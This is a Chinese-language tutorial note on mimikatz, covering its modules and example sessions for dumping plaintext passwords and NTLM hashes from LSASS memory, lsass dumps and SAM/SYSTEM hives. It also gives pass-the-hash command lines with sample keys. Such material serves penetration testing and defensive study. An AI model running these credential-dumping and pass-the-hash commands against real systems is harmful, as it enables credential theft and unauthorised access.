mimikatz使用笔记

mimikatz 介绍

mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本来是用于个人测试使用,但由于功能过于强大,可以直接获取 Windows 操作系统的明文密码,现被用于渗透测试。

mimikatz 分为 Win32 与 x64 版本,在 kali 中有存储,直接将文件夹拷贝即可使用。通过这些可以提升进程权限、注入进程和读取进程内存。

├── kiwi_passwords.yar

├── mimicom.idl

├── Win32

│ ├── mimidrv.sys

│ ├── mimikatz.exe

│ ├── mimilib.dll

│ ├── mimilove.exe

│ └── mimispool.dll

└── x64

├── mimidrv.sys

├── mimikatz.exe

├── mimilib.dll

└── mimispool.dll

mimikatz 主要是从 Lsass 中获取当前登陆过的系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制,主要用于本地安全和登陆策略,通常我们登录系统后,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法加密并存储在 Lsass 内存中,而 mimikatz 正是通过逆算获取到明文密码。

mimikatz 可以在 GitHub 主页中获取相应的发行(https://github.com/gentilkiwi/mimikatz/),同时也可以在 kali 中拷贝。

mimikatz 使用

mimikatz 打开后便是一个交互式的 shell,其内置许多模块功能供我们使用,主要是通过 模块名::命令 [参数] 来使用 mimikatz 的各种功能。

模块

以下仅是常用模块及命令

注:所有模块都可以通过 模块名::错误命令 获取详细帮助,例如 crypto::help,如果需要详细信息请在官方 wiki 中查找:https://github.com/gentilkiwi/mimikatz/wiki

standard

standard 模块的命令可以直接使用,并不需要指定模块名,即

1
mimikatz # exit

也可以正常使用该模块的命令。

命令 作用
exit 退出 mimikatz
cls 清屏
answer 彩蛋(Gives the Answer to the Ultimate Question of Life, the Universe, and Everything.
coffee 彩蛋(Because everyone deserves a good coffee.
sleep 休眠,以毫秒为单位(默认值为 1000)
log 输出日志,可以指定输出文件名(默认为 mimikatz.log),使用 /stop 参数停止记录
base64 切换输入输出为 base64 形式
version 获取 mimikatz 的版本和 windows 的版本
cd 切换工作目录

privilege

命令 作用
debug 请求调试权限

调试权限允许某人调试他们原本无权访问的进程。例如,以用户身份运行并在其令牌上启用调试权限的进程可以调试作为本地系统运行的服务。

如果出现 ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 错误,说明不是由管理员权限运行 mimikatz。

sekurlsa

该模块通过调用 lsass 进程来提取 passwords, keys, pin codes, tickets,但使用该模块需要满足以下其中一个条件:

  • 管理员,debug通过 privilege::debug
  • SYSTEM帐户,通过后期利用工具,计划任务,psexec -s ...-在这种情况下debug不需要特权。
  • 使用 lsass 转储文件

如果没有访问lsass进程的权限,所有命令都将失败,并出现如下错误:(ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005),使用 lsass 转储时除外)。

命令 作用
logonpasswords 打印出所以登陆过的账户及其明文密码
pth Pass-The-Hash,请查看下文
minidump 载入转储的 lsass.dmp 文件
kerberos 打印在域上使用智能卡登录时,lsass缓存智能卡的 PIN 码

pth

功能

Pass-The-Hash,即使用NTLM用户密码的哈希而不是其真实密码在另一个凭据下运行进程。

为此,它使用假身份启动一个过程,然后NTLM用真实信息(NTLM真实密码的散列)替换假信息(假密码的散列)。

参数
  • /user- 您要冒充的用户名,请记住,管理员不是这个知名帐户的唯一名称。
  • /domain- 完全限定的域名 - 没有域或在本地用户/管理员的情况下,使用计算机或服务器名称,workgroup或其他。
  • /rc4/ntlm-可选- 用户密码的 RC4 密钥/NTLM 哈希。
  • /aes128-可选- 从用户密码和域领域派生的 AES128 密钥。
  • /aes256-可选- 从用户密码和域领域派生的 AES256 密钥。
  • /run-可选- 要运行的命令行 - 默认为:cmd拥有一个 shell。

在 Windows 最新版本上也有效:

  • sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  • sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
注意
  • 此命令不适用于小型转储(废话);
  • 它需要提升权限(privilege::debugSYSTEM帐户),这与使用一个官方 API 的“Pass-The-Ticket”不同;
  • 这个新版本的“Pass-The-Hash”用哈希替换RC4 keys了 Kerberos ntlm(和/或替换了AES密钥)——它允许 Kerberos 提供者询问TGT票证!;
  • ntlm哈希在 XP/2003/Vista/2008 和 7/2008r2/8/2012 之前是强制性kb2871997的(AES不可用或可替换);
  • AES密钥只能在 8.1/2012r2 或 7/2008r2/8/2012 上替换为kb2871997,在这种情况下,您可以避免ntlm散列。

实例

lsass.dmp

可以通过 lsass.exe 的转储文件获取 NTLM 哈希。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session : Interactive from 1
User Name : Gentil Kiwi
Domain : vm-w7-ult
SID : S-1-5-21-2044528444-627255920-3055224092-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
...

SAM&SYSTEM

可以通过注册表文件 SAM 和 SYSTEM 获取 NTLM 哈希。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mimikatz # lsadump::sam /SAM:SAM /SYSTEM:system
Domain : AWA-EE8A469B609
SysKey : 57aeb759fdad3c39cebb787a4fe2b355
Local SID : S-1-5-21-1454471165-507921405-682003330

SAMKey : d8492022f59f4d5edd984d23bdeff3e3

RID : 000001f4 (500)
User : Administrator
Hash LM : ac804745ee68ebea19f10a933d4868dc
Hash NTLM: dac3a2930fc196001f3aeab959748448

RID : 000001f5 (501)
User : Guest

RID : 000003e8 (1000)
User : HelpAssistant
Hash LM : 3d71e1687ae90fb7f887cc48364e29e4
Hash NTLM: 2c5f92675b68aa855091ebb4108ae229

RID : 000003ea (1002)
User : SUPPORT_388945a0
Hash NTLM: f9a0ee136422ce87371cf1666e958dad

mimikatz # lsadump::secrets /SAM:SAM /SYSTEM:system
Domain : AWA-EE8A469B609
SysKey : 57aeb759fdad3c39cebb787a4fe2b355

mimikatz 变种

  • Meterpreter 有 mimikatz 插件
  • Volatility 有 mimikatz 插件
  • PowerShell 有 mimikatz 的 DLL 反射